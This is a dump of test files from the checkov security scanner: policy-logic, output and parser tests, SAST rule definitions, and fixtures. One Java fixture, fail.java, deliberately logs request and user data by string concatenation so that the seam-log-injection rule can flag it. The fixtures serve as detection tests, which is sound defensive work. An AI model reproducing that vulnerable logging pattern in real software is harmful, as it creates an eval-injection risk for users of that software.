test_and_predicament_nested_or_predicament_true(record_1, record_2): # Arrange p1 = ViolationIdEquals(record_1, 'CHECK_ID_1') p2 = ViolationIdEquals(record_2, 'NOT_CHECK_ID_2') sub_predicament = Predicament( logical_op='or', predicates=[p1, p2] ) predicament = Predicament( logical_op='and', predicates=[p1], predicaments=[sub_predicament] ) # Act res = predicament() # Assert assert res assert predicament.predicates[0].is_true assert predicament.predicaments[0].predicates[0].is_true assert not predicament.predicaments[0].predicates[1].is_true def test_and_predicament_nested_or_predicament_false(record_1, record_2): # Arrange p1 = ViolationIdEquals(record_1, 'NOT_CHECK_ID_1') p2 = ViolationIdEquals(record_2, 'CHECK_ID_2') sub_predicament = Predicament( logical_op='or', predicates=[p1, p2] ) predicament = Predicament( logical_op='and', predicates=[p1], predicaments=[sub_predicament] ) # Act res = predicament() # Assert assert not res assert not predicament.predicates[0].is_true assert not predicament.predicaments[0].predicates[0].is_true assert predicament.predicaments[0].predicates[1].is_true ================================================ FILE: tests/policies_3d/test_output.py ================================================ from __future__ import annotations import re from checkov.policies_3d.output import create_cli_output ansi_escape = re.compile(r'(\x9B|\x1B\[)[0-?]*[ -\/]*[@-~]') def test_create_simple_cli_output(policy_3d_record_single_iac_single_cve): # given records = [policy_3d_record_single_iac_single_cve] # when cli_output = create_cli_output(records) cli_output_without_ansci_colors = ansi_escape.sub('', cli_output) # then assert cli_output_without_ansci_colors == "".join( [ 'Check: BC_P3D_1: "3d policy 1"\n', '\tSeverity: LOW\n', '\tGuide: https://docs.bridgecrew.io/docs/bc_p3d_1\n', '\n', '\tResource: /dir_a/dir_b/file1.yaml:Pod.default.testPod1\n', '\t\t1 | apiVersion: v1\n', '\t\t2 | kind: Pod\n', '\t\t3 | metadata:\n', '\t\t4 | name: 3d-policy-3\n', '\t\t5 | spec:\n', '\t\t6 | containers:\n', '\t\t7 | - name: demo 1\n', '\t\t8 | image: ubuntu:latest\n', '\t\t9 | securityContext:\n', '\t\t10 | runAsNonRoot: false\n', '\t\t11 | - name: demo 2\n', '\t\t12 | image: ubuntu:latest\n', '\t\t13 | securityContext:\n', '\t\t14 | runAsUser: 0\n', '\t\t15 | - name: demo 3\n', '\t\t16 | image: ubuntu:latest\n', '\n', '\n', '\tMatching IaC violations:\n', '\t┌──────────────────────────┬──────────────────────────┬─────────────────────────────────────────────────────┬──────────────────────────┐\n', '\t│ Resource │ Violation │ Title │ Severity │\n', '\t├──────────────────────────┼──────────────────────────┼─────────────────────────────────────────────────────┼──────────────────────────┤\n', '\t│ Pod.default.testPod1 │ BC_K8S_1 │ Check 1 title │ MEDIUM │\n', '\t└──────────────────────────┴──────────────────────────┴─────────────────────────────────────────────────────┴──────────────────────────┘\n', '\n', '\tImage Referenced with Matching CVEs:\n', '\t┌──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┐\n', '\t│ Image │ Package │ Current version │ CVE ID │ Severity │\n', '\t├──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┤\n', '\t│ ubuntu:latest │ krb5 │ 1.19.2-2 │ CVE-2022-42898 │ MEDIUM │\n', '\t└──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┘\n' ] ) def test_create_complex_cli_output(policy_3d_record_multi_iac_multi_cve): # given records = [policy_3d_record_multi_iac_multi_cve] # when cli_output = create_cli_output(records) cli_output_without_ansci_colors = ansi_escape.sub('', cli_output) # then assert cli_output_without_ansci_colors == "".join( ['Check: BC_P3D_1: "3d policy 1"\n', '\tSeverity: LOW\n', '\tGuide: https://docs.bridgecrew.io/docs/bc_p3d_1\n', '\n', '\tResource: /dir_a/dir_b/file1.yaml:Pod.default.testPod1\n', '\t\t1 | apiVersion: v1\n', '\t\t2 | kind: Pod\n', '\t\t3 | metadata:\n', '\t\t4 | name: 3d-policy-3\n', '\t\t5 | spec:\n', '\t\t6 | containers:\n', '\t\t7 | - name: demo 1\n', '\t\t8 | image: ubuntu:latest\n', '\t\t9 | securityContext:\n', '\t\t10 | runAsNonRoot: false\n', '\t\t11 | - name: demo 2\n', '\t\t12 | image: ubuntu:latest\n', '\t\t13 | securityContext:\n', '\t\t14 | runAsUser: 0\n', '\t\t15 | - name: demo 3\n', '\t\t16 | image: ubuntu:latest\n', '\n', '\n', '\tResource: /dir_a/dir_b/file2.yaml:Pod.default.testPod2\n', '\t\t1 | apiVersion: v1\n', '\t\t2 | kind: Pod\n', '\t\t3 | metadata:\n', '\t\t4 | name: 3d-policy-3\n', '\t\t5 | spec:\n', '\t\t6 | containers:\n', '\t\t7 | - name: demo 1\n', '\t\t8 | image: image-with-no-cves\n', '\t\t9 | securityContext:\n', '\t\t10 | runAsNonRoot: false\n', '\t\t11 | - name: demo 2\n', '\t\t12 | image: ubuntu:latest\n', '\t\t13 | securityContext:\n', '\t\t14 | runAsUser: 0\n', '\t\t15 | - name: demo 3\n', '\t\t16 | image: ubuntu:latest\n', '\n', '\n', '\tMatching IaC violations:\n', '\t┌──────────────────────────┬──────────────────────────┬─────────────────────────────────────────────────────┬──────────────────────────┐\n', '\t│ Resource │ Violation │ Title │ Severity │\n', '\t├──────────────────────────┼──────────────────────────┼─────────────────────────────────────────────────────┼──────────────────────────┤\n', '\t│ Pod.default.testPod1 │ BC_K8S_1 │ Check 1 title │ MEDIUM │\n', '\t│ │ BC_K8S_2 │ Check 2 title │ LOW │\n', '\t├──────────────────────────┼──────────────────────────┼─────────────────────────────────────────────────────┼──────────────────────────┤\n', '\t│ Pod.default.testPod2 │ BC_K8S_3 │ Check 3 title │ HIGH │\n', '\t└──────────────────────────┴──────────────────────────┴─────────────────────────────────────────────────────┴──────────────────────────┘\n', '\n', '\tImage Referenced with Matching CVEs:\n', '\t┌──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┬──────────────────────────┐\n', '\t│ Image │ Package │ Current version │ CVE ID │ Severity │\n', '\t├──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┤\n', '\t│ ubuntu:latest │ krb5 │ 1.19.2-2 │ CVE-2022-42898 │ MEDIUM │\n', '\t├──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┼──────────────────────────┤\n', '\t│ ubuntu:latest │ systemd │ 249.11-0ubuntu3.6 │ CVE-2022-3821 │ MEDIUM │\n', '\t└──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┴──────────────────────────┘\n'] ) def test_create_empty_cli_output(): # given records = [] # when cli_output = create_cli_output(records) # then assert cli_output == '' ================================================ FILE: tests/policies_3d/test_parser.py ================================================ from checkov.policies_3d.checks_parser import Policy3dParser def test_3d_policy_parser_init(raw_3d_policy): # Act parser = Policy3dParser(raw_3d_policy) # Assert assert parser.schema_version == 'v1' assert parser.check_definition == [ { "cves": { "or": [ { "and": [ { "risk_factor": "DoS" }, { "risk_factor": "Medium Severity" } ] } ] } }, { "iac": { "or": [ { "violation_id": "BC_K8S_1" }, { "violation_id": "BC_K8S_23" } ] } } ] def test_3d_policy_parser_parse_check_v1(raw_3d_policy, k8s_record_1, cve_1): # Arrange parser = Policy3dParser(raw_3d_policy) # Act check = parser.parse(iac_records=[k8s_record_1], cves_reports=[cve_1]) # Assert assert check assert check.id == 'BC_3D_500' assert check.category == 'Policy3D' assert check.guideline == 'guideline_500' assert len(check.predicaments) == 1 assert len(check.predicaments[0].predicaments[0].predicaments[0].predicates) == 2 assert len(check.predicaments[0].predicaments[1].predicates) == 2 ================================================ FILE: tests/policies_3d/test_runner.py ================================================ import pytest from checkov.common.bridgecrew.severities import Severities from checkov.policies_3d.runner import Policy3dRunner from checkov.policies_3d.checks_parser import Policy3dParser from checkov.common.bridgecrew.integration_features.features.policies_3d_integration import Policies3DIntegration def test_runner_single_policy(policy_3d_1, scan_reports): # given checks = [] parser = Policy3dParser() policies = [policy_3d_1] for policy in policies: converted_check = Policies3DIntegration._convert_raw_check(policy) check = parser.parse_raw_check(converted_check) check.severity = Severities[policy['severity']] check.bc_id = check.id checks.append(check) # when report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports) # then assert len(report.failed_checks) == 1 assert len(report.parsing_errors) == 0 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 def test_runner_single_policy(policy_3d_1, scan_reports): # given checks = [] parser = Policy3dParser() policies = [policy_3d_1] for policy in policies: converted_check = Policies3DIntegration._convert_raw_check(policy) check = parser.parse_raw_check(converted_check) check.severity = Severities[policy['severity']] check.bc_id = check.id checks.append(check) # when report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports) # then assert len(report.failed_checks) == 1 assert len(report.parsing_errors) == 0 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 def test_runner_multi_policy(policy_3d_1, policy_3d_2, scan_reports): # given checks = [] parser = Policy3dParser() policies = [policy_3d_1, policy_3d_2] for policy in policies: converted_check = Policies3DIntegration._convert_raw_check(policy) check = parser.parse_raw_check(converted_check) check.severity = Severities[policy['severity']] check.bc_id = check.id checks.append(check) # when report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports) # then assert len(report.failed_checks) == 2 assert len(report.parsing_errors) == 0 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 def test_runner_multi_iac_checks_policy(policy_3d_3, scan_reports): # given checks = [] parser = Policy3dParser() policies = [policy_3d_3] for policy in policies: converted_check = Policies3DIntegration._convert_raw_check(policy) check = parser.parse_raw_check(converted_check) check.severity = Severities[policy['severity']] check.bc_id = check.id checks.append(check) # when report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports) # then assert len(report.failed_checks) == 1 assert len(report.parsing_errors) == 0 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 def test_runner_and_logic_for_iac_checks(policy_3d_3, scan_reports_2): # given checks = [] parser = Policy3dParser() policies = [policy_3d_3] for policy in policies: converted_check = Policies3DIntegration._convert_raw_check(policy) check = parser.parse_raw_check(converted_check) check.severity = Severities[policy['severity']] check.bc_id = check.id checks.append(check) # when report = Policy3dRunner().run(checks=checks, scan_reports=scan_reports_2) # then # in this report there is only 1 matching IaC violation out of the 2 expected, so it should not create a violation assert len(report.failed_checks) == 0 assert len(report.parsing_errors) == 0 assert len(report.passed_checks) == 0 assert len(report.skipped_checks) == 0 def test_run_v2(raw_3d_policy, scan_reports): # Arrange runner = Policy3dRunner() # Act report = runner.run_v2([raw_3d_policy], scan_reports) # Assert assert report assert len(report.failed_checks) == 1 assert len(report.passed_checks) == 1 assert len(report.failed_checks[0].composed_from_cves) == 2 assert len(report.failed_checks[0].composed_from_iac_records) == 1 ================================================ FILE: tests/sast/__init__.py ================================================ ================================================ FILE: tests/sast/checks/python_rule.yaml ================================================ metadata: version: '0.1' id: CKV_SAST_1 name: 'superuser port' severity: LOW cwe: 'CWE-289: Authentication Bypass by Alternate Name' category: sast guidelines: module setting superuser port scope: languages: - python definition: and: - cond_type: pattern operator: equals value: set_port($ARG) - cond_type: variable variable: $ARG operator: less_than value: 1024 ================================================ FILE: tests/sast/checks/temp_parsed_rules/temp_semgrep_rules.yaml ================================================ rules: - id: CKV_SAST_1 patterns: - pattern: set_port($ARG) - metavariable-comparison: metavariable: $ARG comparison: $ARG < 1024 message: module setting superuser port languages: - python severity: INFO metadata: cwe: 'CWE-289: Authentication Bypass by Alternate Name' name: 'superuser port' ================================================ FILE: tests/sast/external_checks/v01/SuperuserPort.yaml ================================================ metadata: version: '0.1' id: CKV3_SAST_11 name: 'Ensure superuser port is not set' guidelines: 'module setting superuser port' category: 'sast' cwe: 'CWE-289: Authentication Bypass by Alternate Name' scope: languages: - python definition: - cond_type: "pattern" operator: "equals" value: "set_port($ARG)" - cond_type: "variable" variable: "$ARG" operator: less_than value: 1024 ================================================ FILE: tests/sast/external_checks/v01/java_rule.yaml ================================================ metadata: version: '0.1' id: seam-log-injection severity: HIGH name: seam log injection category: sast guidelines: >- Seam Logging API support an expression language to introduce bean property to log messages. The expression language can also be the source to unwanted code execution. In this context, an expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation. cwe: "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')" owasp: "A03:2021 - Injection" scope: languages: [java] definition: - cond_type: pattern operator: equals value: $LOG.$INFO($X + $Y,...) - or: - cond_type: filter attribute: pattern operator: within value: | import org.jboss.seam.log.Log ... - cond_type: filter attribute: pattern operator: within value: | org.jboss.seam.log.Log $LOG = ... ... - cond_type: variable variable: $INFO operator: regex_match value: (debug|error|fatal|info|trace|warn) ================================================ FILE: tests/sast/source_code/__init__.py ================================================ ================================================ FILE: tests/sast/source_code/external_check/fail.java ================================================ package com.company.util; import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; import java.util.Collections; import java.util.Enumeration; import java.util.List; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletResponse; import javax.servlet.http.HttpServletRequest; import org.jboss.seam.log.Logging; import org.jboss.seam.log.Log; public class HttpRequestDebugFilter implements Filter { Log log = Logging.getLog(HttpRequestDebugFilter.class); public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (request instanceof HttpServletRequest) { HttpServletRequest httpRequest = (HttpServletRequest)request; if (httpRequest.getRequestURI().endsWith(".seam")) { // ruleid: seam-log-injection log.info("request: method="+httpRequest.getMethod()+", URL="+httpRequest.getRequestURI()); } } chain.doFilter(request, response); } public void logUser(User user) { // ruleid: seam-log-injection log.info("Current logged in user : " + user.getUsername()); } public void logUser(User user) { // ok: seam-log-injection log.info("Current logged in user : #0", user.getUsername()); } } ================================================ FILE: tests/sast/source_code/external_check/fail.py ================================================ # ruleid: superuser-port set_port(443) # ok: superuser-port set_port(8080) ================================================ FILE: tests/sast/source_code/js_filtered_build_ts/example1/app.ts ================================================ let message: string = 'Hello, World!'; console.log(message); ================================================ FILE: tests/sast/source_code/js_filtered_build_ts/example1/tsconfig.json ================================================ { "compilerOptions": { "module": "system", "noImplicitAny": true, "removeComments": true, "preserveConstEnums": true, "outDir": "./build", "sourceMap": true }, "include": [ "./*.ts" ] } ================================================ FILE: tests/sast/source_code/js_filtered_build_ts/example2/app.ts ================================================ let message: string = 'Hello, World!'; console.log(message); ================================================ FILE: tests/sast/source_code/js_filtered_build_ts/example2/needTScan/app.js ================================================ ================================================ FILE: tests/sast/source_code/js_filtered_build_ts/example2/tsconfig.json ================================================ { "compilerOptions": { "module": "system", "noImplicitAny": true, "removeComments": true, "preserveConstEnums": true, "outFile": "./build/file.js", "sourceMap": true }, "include": [ "./*.ts" ] } ================================================ FILE: tests/sast/source_code/js_filtered_build_ts/example3/main.js ================================================ ================================================ FILE: tests/sast/source_code/js_filtered_build_ts/example3/main.ts ================================================ ================================================ FILE: tests/sast/test_filter_files_manager.py ================================================ from checkov.sast.engines.files_filter_manager import FilesFilterManager from checkov.common.sast.consts import SastLanguages import pathlib import os def test_sast_js_filtered_files_by_ts(): test_dir = os.path.join(pathlib.Path(__file__).parent.resolve(), 'source_code', 'js_filtered_build_ts') files_filter_manager = FilesFilterManager([test_dir], set([SastLanguages.JAVASCRIPT])) filtered_paths = files_filter_manager.get_files_to_filter() paths = {} for path in filtered_paths: if path.endswith('example2/build/file.js') or path.endswith('example1/build') or path.endswith('example3/main.js'): paths[path] = path assert len(paths.keys()) == 3 ================================================ FILE: tests/sast/test_report.py ================================================ from __future__ import annotations from checkov.common.sast.consts import SastLanguages from checkov.sast.engines.prisma_engine import PrismaEngine from checkov.sast.record import SastRecord from checkov.sast.report import SastData, SastReport from checkov.common.sast.report_types import Function, PrismaReport, Repositories, File, Package, Point, MatchLocation, \ DataFlow, MatchMetadata, RuleMatch, Match, SkippedCheck, RuleMatchMetadata def _create_sast_reports_for_test_get_sast_reachability_report_with_one_report() -> list[SastReport]: # we don't care about the init's params, except for the sast-language report1 = SastReport('', {}, SastLanguages.JAVASCRIPT, PrismaReport(rule_match={}, errors={}, profiler={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={})) report1.sast_reachability = { 'repo_1': Repositories(files={ '/index.js': File(packages={ 'axios': Package(alias='ax', functions=[ Function(name='trim', alias='hopa', line_number=4, code_block='hopa()', cve_id='cve-11') ]), 'lodash': Package(alias='', functions=[ Function(name='template', alias='', line_number=1, code_block='template()', cve_id='cve-11'), Function(name='toNumber', alias='', line_number=4, code_block='hopa()', cve_id='cve-11') ]) }), '/main.js': File(packages={ 'axios': Package(alias='ax', functions=[ Function(name='trim', alias='hi', line_number=4, code_block='hi()', cve_id='cve-11') ]) }) }) } return [report1] def test_get_sast_reachability_report_with_one_report(): scan_reports: list[SastReport] = _create_sast_reports_for_test_get_sast_reachability_report_with_one_report() sast_reachability_report = SastData.get_sast_reachability_report(scan_reports) assert sast_reachability_report == { 'reachability': { SastLanguages.JAVASCRIPT: { '/index.js': File(packages={ 'axios': Package(alias='ax', functions=[ Function(name='trim', alias='hopa', line_number=4, code_block='hopa()', cve_id='cve-11') ]), 'lodash': Package(alias='', functions=[ Function(name='template', alias='', line_number=1, code_block='template()', cve_id='cve-11'), Function(name='toNumber', alias='', line_number=4, code_block='hopa()', cve_id='cve-11') ]) }), '/main.js': File(packages={ 'axios': Package(alias='ax', functions=[ Function(name='trim', alias='hi', line_number=4, code_block='hi()', cve_id='cve-11') ]) }) } } } def test_get_code_lines_taint(): record = SastRecord(check_id='', check_name='', resource='', evaluations={}, check_class='', check_result=None, code_block=[], file_path='', file_line_range=[], metadata=MatchMetadata(taint_mode=DataFlow(data_flow=[MatchLocation(path='checkov/arosenfeld6666/arosenfeld6666_abc/aaa/1706717499988/src/file_that_import.js', start=Point(row=3, column=0), end=Point(row=3, column=32), code_block='let password = request.password;'), MatchLocation(path='checkov/arosenfeld6666/arosenfeld6666_abc/aaa/1706717499988/src/file_that_import.js', start=Point(row=6, column=0), end=Point(row=6, column=17), code_block='Danger(password);'), MatchLocation(path='checkov/arosenfeld6666/arosenfeld6666_abc/aaa/1706717499988/src/imported_file.js', start=Point(row=2, column=4), end=Point(row=2, column=38), code_block='console.log("Danger: " + password)')])), file_abs_path='', severity=None, cwe='', owasp='', show_severity=True) code_lines_actual_output, file_details_actual_output = record.get_code_lines_taint(record.metadata.taint_mode.data_flow) code_lines_expected_output = '\t\tfile_that_import.js\n\t\t\x1b[37m3 | \x1b[33mlet password = request.password;\n\t\t...\n\t\t\x1b[37m6 | \x1b[33mDanger(password);\n\t\timported_file.js\n\t\t\x1b[37m2 | \x1b[33mconsole.log("Danger: " + password)\n' file_details_expected_output = 'file_that_import.js->3->6->imported_file.js->2' assert code_lines_expected_output == code_lines_actual_output assert file_details_expected_output == file_details_actual_output def test_skipped_checks(): report = PrismaReport(rule_match={ SastLanguages.PYTHON: {'CKV3_SAST_11': RuleMatch( check_id='CKV3_SAST_11', check_name='Use of module setting superuser port', check_cwe=['CWE-289: Authentication Bypass by Alternate Name'], severity='LOW', check_owasp=None, metadata=RuleMatchMetadata(), matches=[ Match(exact_hash='e97a01a1cb2abee84ad113d828f8d500eccb150941200fd6df9356bb9c193604', structure_hash='8e63ba7c140643381a68470a5d9296e6290999e3fc70971e860480c0bc24a474', location=MatchLocation( path='tests/python/src/simple_within.py', start=Point(row=2, column=0), end=Point(row=2, column=11), code_block='set_port(1)'), metadata=MatchMetadata(taint_mode=None, code_locations=None), minimized_ast='{"type":"module","children":[{"type":"expression_statement","children":[{"type":"call","name":"set_port","children":[{"type":"identifier"},{"type":"argument_list","children":[{"type":"integer"}]}]}]}]}')])} }, errors={}, profiler={}, run_metadata={}, imports={}, reachability_report={}, skipped_checks_by_file={ 'tests/python/src/simple_within.py': [SkippedCheck(check_id='CKV3_SAST_11', suppress_comment="Don't feel like it")] }) prisma_engine = PrismaEngine() prisma_engine.enable_inline_suppressions = True sast_report = prisma_engine.create_report(report) assert len(sast_report[0].failed_checks) == 0 and len(sast_report[0].skipped_checks) == 1 assert sast_report[0].skipped_checks[0].check_result['suppress_comment'] == "Don't feel like it" ================================================ FILE: tests/sast/test_runner.py ================================================ import pytest from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.platform_integration import bc_integration from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.common.models.enums import CheckResult from checkov.sast.checks_infra.base_registry import Registry from checkov.sast.engines.prisma_engine import PrismaEngine from checkov.sast.runner import Runner from checkov.runner_filter import RunnerFilter import pathlib import os @pytest.mark.skip(reason="should move test to an integration test once sast supports skipping default policies") def test_sast_runner_python(): runner = Runner() cur_dir = pathlib.Path(__file__).parent.resolve() source = os.path.join(cur_dir, 'source_code') external_dir_checks = os.path.join(cur_dir, 'external_checks') reports = runner.run(source, runner_filter=RunnerFilter(framework=['sast_python']), external_checks_dir=[str(external_dir_checks)]) assert len(reports) == 1 assert reports[0].check_type == CheckType.SAST_PYTHON python_report = reports[0] assert len(python_report.failed_checks) > 0 python_record = next((record for record in python_report.failed_checks if record.check_id == 'CKV3_SAST_11'), None) assert python_record assert python_record.severity.name == 'MEDIUM' assert python_record.file_path == 'fail.py' assert python_record.check_name == 'Ensure superuser port is not set' assert python_record.code_block == [(2, 'set_port(443)\n')] assert python_record.file_abs_path == os.path.join(source, 'external_check', 'fail.py') assert python_record.file_line_range == [2, 2] assert python_record.check_result.get('result') == CheckResult.FAILED @pytest.mark.skip(reason="should move test to an integration test once sast supports skipping default policies") def test_sast_runner(): runner = Runner() cur_dir = pathlib.Path(__file__).parent.resolve() source = os.path.join(cur_dir / 'source_code' / 'external_check') external_dir_checks = os.path.join(cur_dir, 'external_checks') reports = runner.run(source, runner_filter=RunnerFilter(framework=['sast'], checks=['CKV3_SAST_11', 'seam-log-injection']), external_checks_dir=[external_dir_checks], ) assert len(reports) == 2 python_report = next(report for report in reports if report.check_type == CheckType.SAST_PYTHON) assert len(python_report.failed_checks) == 1 assert python_report.failed_checks[0].check_id == 'CKV3_SAST_11' assert python_report.failed_checks[0].severity.name == 'MEDIUM' assert python_report.failed_checks[0].file_path == 'fail.py' assert python_report.failed_checks[0].check_name == 'Ensure superuser port is not set' assert python_report.failed_checks[0].code_block == [(2, 'set_port(443)\n')] assert python_report.failed_checks[0].file_abs_path == os.path.join(source, 'fail.py') assert python_report.failed_checks[0].file_line_range == [2, 2] assert python_report.failed_checks[0].check_result.get('result') == CheckResult.FAILED java_report = next(report for report in reports if report.check_type == CheckType.SAST_JAVA) assert len(java_report.failed_checks) == 2 assert java_report.failed_checks[0].check_id == 'seam-log-injection' assert java_report.failed_checks[0].severity.name == 'HIGH' assert java_report.failed_checks[0].file_path == 'fail.java' assert java_report.failed_checks[0].check_name == 'seam log injection' assert java_report.failed_checks[0].code_block == [ (31, 'log.info("request: method="+httpRequest.getMethod()+", URL="+httpRequest.getRequestURI());\n')] assert java_report.failed_checks[0].file_abs_path == os.path.join(source, 'fail.java') assert java_report.failed_checks[0].file_line_range == [31, 31] assert java_report.failed_checks[0].check_result.get('result') == CheckResult.FAILED assert java_report.failed_checks[1].check_id == 'seam-log-injection' assert java_report.failed_checks[1].severity.name == 'HIGH' assert java_report.failed_checks[1].file_path == 'fail.java' assert java_report.failed_checks[1].check_name == 'seam log injection' assert java_report.failed_checks[1].code_block == [ (40, 'log.info("Current logged in user : " + user.getUsername());\n')] assert java_report.failed_checks[1].file_abs_path == os.path.join(source, 'fail.java') assert java_report.failed_checks[1].file_line_range == [40, 40] assert java_report.failed_checks[1].check_result.get('result') == CheckResult.FAILED @pytest.mark.skip(reason="This test should be an integration test") def test_sast_prisma_runner(mocker): temp = bc_integration.bc_api_key bc_integration.bc_api_key = "123456" mocker.patch("checkov.sast.engines.prisma_engine.PrismaEngine.run_go_library", return_value=[]) mocker.patch("checkov.sast.engines.prisma_engine.PrismaEngine.setup_sast_artifact", return_value='') mocker.patch("checkov.sast.engines.prisma_engine.PrismaEngine.get_sast_artifact", return_value='') runner = Runner() cur_dir = pathlib.Path(__file__).parent.resolve() source = os.path.join(cur_dir / 'source_code' / 'external_check') external_dir_checks = os.path.join(cur_dir, 'external_checks') reports = runner.run(source, runner_filter=RunnerFilter(framework=['sast'], checks=['CKV3_SAST_11', 'seam-log-injection']), external_checks_dir=[external_dir_checks], ) bc_integration.bc_api_key = temp assert len(reports) == 0 def test_get_check_thresholds(): prisma_engine = PrismaEngine() registry = Registry('') runner_filter = RunnerFilter() registry.runner_filter = runner_filter none = Severities[BcSeverities.NONE] medium = Severities[BcSeverities.MEDIUM] high = Severities[BcSeverities.HIGH] # test plain thresholds specified using --check and --skip-check, no enforcement rules assert prisma_engine.get_check_thresholds(registry) == (none, none) runner_filter.check_threshold = medium assert prisma_engine.get_check_thresholds(registry) == (medium, none) runner_filter.skip_check_threshold = medium assert prisma_engine.get_check_thresholds(registry) == (medium, medium) runner_filter.check_threshold = None assert prisma_engine.get_check_thresholds(registry) == (none, medium) # apply enforcement rules runner_filter.skip_check_threshold = None runner_filter.use_enforcement_rules = True runner_filter.enforcement_rule_configs = { CheckType.SAST: high } assert prisma_engine.get_check_thresholds(registry) == (high, none) # but --check and --skip-check with severities overrides enforcement rules runner_filter.check_threshold = medium assert prisma_engine.get_check_thresholds(registry) == (medium, none) runner_filter.skip_check_threshold = medium assert prisma_engine.get_check_thresholds(registry) == (medium, medium) runner_filter.check_threshold = None assert prisma_engine.get_check_thresholds(registry) == (none, medium) ================================================ FILE: tests/sca_image/__init__.py ================================================ ================================================ FILE: tests/sca_image/conftest.py ================================================ from __future__ import annotations from typing import Any import pytest from unittest import mock import responses from pathlib import Path from checkov.common.bridgecrew.bc_source import SourceType from checkov.common.bridgecrew.platform_integration import BcPlatformIntegration, bc_integration from checkov.runner_filter import RunnerFilter from checkov.sca_image.runner import Runner from checkov.common.output.report import Report from .mocks import mock_scan KUBERNETES_EXAMPLES_DIR = Path(__file__).parent / "examples/kubernetes" DOCKERFILE_EXAMPLES_DIR = Path(__file__).parent / "examples/dockerfile" @pytest.fixture() def image_id() -> str: return "sha256:6fd085fc6410" @pytest.fixture(scope='package') def mock_bc_integration() -> BcPlatformIntegration: bc_integration.bc_api_key = "abcd1234-abcd-1234-abcd-1234abcd1234" bc_integration.setup_bridgecrew_credentials( repo_id="bridgecrewio/checkov", skip_fixes=True, skip_download=True, source=SourceType("Github", False), source_version="1.0", repo_branch="master", ) return bc_integration @pytest.fixture() def empty_report() -> dict[str, Any]: return { "check_type": "sca_image", "failing_checks": [], "passed_checks": [], "parsing_errors": [], "resources": {}, "skipped_checks": [], } @pytest.fixture() def image_name() -> str: return "ubuntu" @pytest.fixture() def cached_scan_result() -> dict[str, str]: return { "outputType": "Result", "outputData": ( "H4sIAD231WIC/7VYXW/bOhJ9bn8F4ZdtdyNZH5a/3tykdxtsrlvUaRfopigoibKJ0KJKUo7di/vfd4aSHTuRk9hN0CS1SWo4nDlzzlB/vX" "7VUkyXwujWkPzv9atXf8HvqxZP4WtLz2gQdYeDoMv60SDNwrAz8PudfhTEfq8TBTRj3YEHg1GcZJGf0jTud0LaZ2k/Y1nm9wdeNPA6rRNr" "M6dzhlaLlZnJfBi6fYeKguesnk+5NkriipEdJhc8L5dkEbp+d2fJZyYY1dYWzrneZnbKtNly3GNhGKWdThBl3ThkfhL30m43i5nfj7KsEy" "bhwGOsF8VRkiWdxO8nNPD9JIUj9cIwiGq7iRSCJYbLfB0kGBwJ0cJP36s1BU2uKWy/WWDjCBNmVVhPpa6sbQVCMZqKzflhYsGUhl1wru/6" "buAobzMneMJyvbUBjP3704UTuJ4jlSOoYapVTXy3//198lQ/BI9zLZq8AONg/hEvLp7PDdjayCZHPDd8PBx/nl8eufW1iiMnkXnWtLePIQ" "heaGe2LKhpDn0HCuTFTjxN43nzYYPwKbALnyXfWcabnAjh7JBt/4XObn6l1NDGoHtBQB87/qcyhmHnTM4pz490gRbXjpFS6ObU+4E7cFT4" "tOLPxepIL35BCvaAAFx4LAHf8Okjj28J3rlmqz0B6Lxc9rHWmw/tD9zw5Sou/sWLYA+/YKU/fF77tINLu0funyelQqMNHnTd8EeB2PeiwH" "+5CJSGC0egqDcnPXw0CneZh4zGZ+Su/OwOQnXgwLFgYSv0WjfnrYt48Q+SaPKMamm4KpJmz56glu8mZ07onApaQit1nA8FXToPhCfEMvZe" "msQS6iTQNvCMJxBOvYfWfR/Q/Si0K28sgI6HeU1uMbSogq5kaZolLrBtxYuHhwWZLpSc7slRp+tGh7aZNj4XjaPboPrNME6ZMWxpmrtBpK" "ngKV2p/7t1tvzV5EEE6YsOrn0MyE73sB3J3/ZUFuBBcx8P2ub68rE8fwQDk8nFkdvrn4Ib1oz1sP84ymLBtOb59Mjt5+W+owdPUnWELqpG" "8K9j9b3Uq1gu91BhhNXuP29HV12k77MyLxpJEC9zneeQ9j37ambKYm9TG/XcyH04C1/G/xl//O/4N1y4mTEm9twfe+6BHeXW7T6R80Jwmi" "cNF3z7qqTjr00bboT15c3p+eTHmUyumfqxQBR6xCEd139Lzud0yoieyVKkJGYkUQzKPiU33MwIJbnMHSWlIcChauOyZnAcblZoesans81E" "ynSieGHqk54bwjVYmUqZkkLRxMBZiZFElTkxM9hN5gaoB+iI6ru7nRCekUJCHUI1uuQSXJzO7MxVjjHWBQVjc1qAwk1xn1zeELqgXFB4wD" "5N7XLrg8AXHCuSsgy2Swm/uz/HOJzg4FW+Naqtq+CcmdHKLRJbK7QUhtA8JbpgCep9NXnrmGI7rpmrXLGfJVcsbT2Q0jN8qcTjso5gldcW" 